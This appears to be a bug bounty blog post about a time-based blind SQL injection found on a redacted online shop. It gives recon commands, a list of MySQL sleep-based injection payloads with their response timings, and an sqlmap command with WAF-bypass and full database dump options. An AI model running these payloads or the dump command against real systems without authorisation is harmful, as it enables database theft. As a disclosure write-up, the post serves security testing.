Exploiting Time-Based Blind SQL Injection With SQLMap

Exploiting Time-Based Blind SQL Injection With SQLMap

In this post, I will share details about a time-based blind SQL injection vulnerability I found on a private bug bounty program through HackerOne. This was also my first bug bounty on the platform. From this post by Acunetix, SQL Injection vulnerabilities can be classified into three major categories:- In-band SQL Injection, Inferential SQL Injection and Out-of-band SQL Injection.

Types of SQL Injections

  • In-band SQL injections allow the attacker to use the same communication channel to both launch the attack and gather results. The most common attacks in this category include Error-based and Union-based SQL injections.
  • In Inferential SQL injections also referred to as Blind SQL injection attacks, the attacker is not be able to see the result of an attack and only relies on observing the web application’s response and the resulting behavior of the database server. Blind boolean-based and Blind time-based attacks are examples inferential SQL injection attacks. This post focuses on time-based SQL injection attacks that rely on sending an SQL query to the database which forces the database to wait for a specified amount of time (in seconds) before responding. The response time will indicate to the attacker whether the result of the query is TRUE or FALSE.
  • Out-of-band SQL injections are used as an alternative to inferential time-based techniques when the server responses are not very stable. The attacker in this case relies on the database server’s ability to make DNS or HTTP requests to deliver data them in case of a successful attack.

Discovery

Whenever I am working on a new web target. I always start my recon by running waybackurls and LinkFinder to gather as many endpoints as possible.

python3 linkfinder.py -i https://shop.redacted.com -d

cat domains.txt | waybackurls > urls.txt

Once the execution was done, it took me over one hour to go through all the urls one by one focusing on those that have parameters within the url. One particular url caught my attention as it was the most common in the list with a varying number of parameters each time.

https://shop.reducted.com/product
https://shop.reducted.com/product/beauty-fashion/perfumes/men
https://shop.reducted.com/product?brand=167&product_list_order=price
https://shop.reducted.com/product?brand=130&color=14

Whenever I see dynamic parameters in a url; for a start, I always try browsing through the urls, tampering the parameters and observing the results in Burp. In this case, I forwared the urls to the Burp intruder tab and tried using the wfuzz SQL.txt payloads. The site was however returning a similar custom error message for every payload and was therefore difficult enumerating through errors from the tampered parameters. I decided to test for blind SQL injections through Boolean Condition Injection, Using Time Delays and Using Out-Of-Band Channels following this PortSwigger guide.

In a previously disclosed HackerOne report, I found a set of time-based blind SQL injection payloads. I tested these on the url parameters noting the deviations in time delays.

I noted the following results for each payload which confirmed the presence of a time-based blind SQL injection vulnerability on the first part of the url path i.e. https://shop.reducted.com/*product*

if(now()=sysdate(),sleep(6),0)/'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"/ => 13.438 s
if(now()=sysdate(),sleep(3),0)/'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"/ => 6.703 s
if(now()=sysdate(),sleep(0),0)/'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"/ => 0.656 s
if(now()=sysdate(),sleep(9),0)/'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"/ => 15.75 s
if(now()=sysdate(),sleep(0),0)/'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"/ => 0.625 s
if(now()=sysdate(),sleep(0),0)/'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"/ => 0.563 s
if(now()=sysdate(),sleep(0),0)/'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"/ => 0.703 s
if(now()=sysdate(),sleep(6),0)/'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"/ => 12.797 s
if(now()=sysdate(),sleep(0),0)/'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"/ => 0.796 s

Exploitation

I used SQLMap to exploit the blind SQL injection vulnerability, starting by enumerating the installed Database Management System (DBMS), list available databases and tables as well as dump data from the tables.

sqlmap -u "https://shop.reducted.com/product*" --dbs --level=5 --risk=3 --dump --batch --tamper=space2comment --threads 10
  • -u : url to scan
  • * : injection point/parameter (if -p switch is not provided)
  • –dbs : option is used to enumerate the database
  • –risk : type of payloads used by the tool. Default value is 1 and can be configured up to level 3
  • –level : number of checks/payload to be performed. The value ranges from 1 to 5
  • –dump : dump data from tables
  • –batch : instruct to proceed without asking the user
  • –tamper : try bypass WAF. More tamper scripts here
  • –threads : define the number of concurrent requests to be sent

I determined that MySQL was running on the backend server and was able to dump data from the available two databases.

I quickly reported this to the program and within one day the report was triaged and after two days I was rewarded my very first bounty on HackerOne!

Comments are closed.